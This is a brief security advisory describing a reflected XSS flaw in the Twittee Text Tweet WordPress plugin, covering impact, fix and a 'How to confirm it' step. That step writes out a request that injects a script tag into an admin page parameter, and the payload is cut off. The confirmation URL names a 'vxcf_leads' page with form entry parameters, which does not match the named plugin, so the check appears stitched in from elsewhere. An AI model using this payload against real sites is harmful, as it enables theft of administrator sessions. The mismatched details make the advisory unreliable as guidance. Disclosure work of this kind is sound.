Readycheck to confirm it

The Twittee Text Tweet WordPress plugin through 1.0.8 does not properly escape POST values which are printed back to the user inside one of the plugin's administrative page, which allows reflected XSS attacks targeting administrators to happen.

Impact

Authenticated attackers targeting administrators can inject malicious JavaScript through POST values in administrative pages to steal admin session cookies and gain control of the WordPress site.

Fix

Update Twittee Text Tweet plugin to a version newer than 1.0.8 that properly escapes POST values before outputting them in administrative pages.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3e%3cscript%3…
